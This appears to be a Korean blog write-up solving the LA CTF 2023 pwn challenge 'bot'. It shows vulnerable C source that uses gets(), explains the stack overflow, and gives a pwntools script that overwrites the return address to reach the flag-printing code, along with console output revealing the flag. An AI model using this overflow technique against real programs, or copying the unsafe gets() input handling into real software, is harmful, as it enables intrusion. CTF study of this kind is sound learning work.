728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void) {
setbuf(stdout, NULL);
char input[64];
volatile int give_flag = 0;
puts("hi, how can i help?");
gets(input);
if (strcmp(input, "give me the flag") == 0) {
puts("lol no");
} else if (strcmp(input, "please give me the flag") == 0) {
puts("no");
} else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
puts("L");
} else if (strcmp(input, "may i have the flag?") == 0) {
puts("not with that attitude");
} else if (strcmp(input, "please please please give me the flag") == 0) {
puts("i'll consider it");
sleep(15);
if (give_flag) {
puts("ok here's your flag");
system("cat flag.txt");
} else {
puts("no");
}
} else {
puts("sorry, i didn't understand your question");
exit(1);
}
}
2.2. 분석
값을 입력받은 뒤, 이를 문자열과 비교하며, give_flag 변수가 1이면 flag를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
앞선 문제와 마찬가지로 stack overflow가 발생한다.
3.2. 공격 준비
앞선 문제와 마찬가지로 입력 시 gets 함수를 사용하며,
그 크기가 지정되어있지 않기 때문에 give_flag 변수까지 침범하여 값을 조작할 수 있다.
다만, 문자열과 비교하는 부분 내에 flag를 출력해주는 함수가 있기 때문에 적어도 한번은 문자열을 맞춰줘야 한다.
즉,
if (strcmp(input, "give me the flag") == 0) {
puts("lol no");
} else if (strcmp(input, "please give me the flag") == 0) {
puts("no");
} else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
puts("L");
} else if (strcmp(input, "may i have the flag?") == 0) {
puts("not with that attitude");
} else if (strcmp(input, "please please please give me the flag") == 0) {
puts("i'll consider it");
sleep(15);
if (give_flag) {
puts("ok here's your flag");
system("cat flag.txt");
} else {
puts("no");
}
}
#----- 여기까지가 if 문 -----
else {
puts("sorry, i didn't understand your question");
exit(1);
}
과 같다.
4. exploit
from pwn import *
#p = process('./bot')
p = remote('lac.tf', 31180)
pay = b'give me the flag'
pay += b'\x00'*(0x48 - len(pay))
pay += p64(0x000000000040128e)
p.sendlineafter(b'?\n',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/bot_]
└─$ python solve.py
[+] Opening connection to lac.tf on port 31180: Done
[*] Switching to interactive mode
lol no
ok here's your flag
lactf{hey_stop_bullying_my_bot_thats_not_nice}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - pwn/rut-roh-relro (0) | 2023.02.13 |
---|---|
LA CTF 2023 - pwn / rickroll (0) | 2023.02.13 |
LA CTF 2023 - pwn/gatekeep (0) | 2023.02.13 |
BB CTF 2023 - Medium pwn (0) | 2023.02.06 |
BB CTF 2023 - Easy pwn (0) | 2023.02.06 |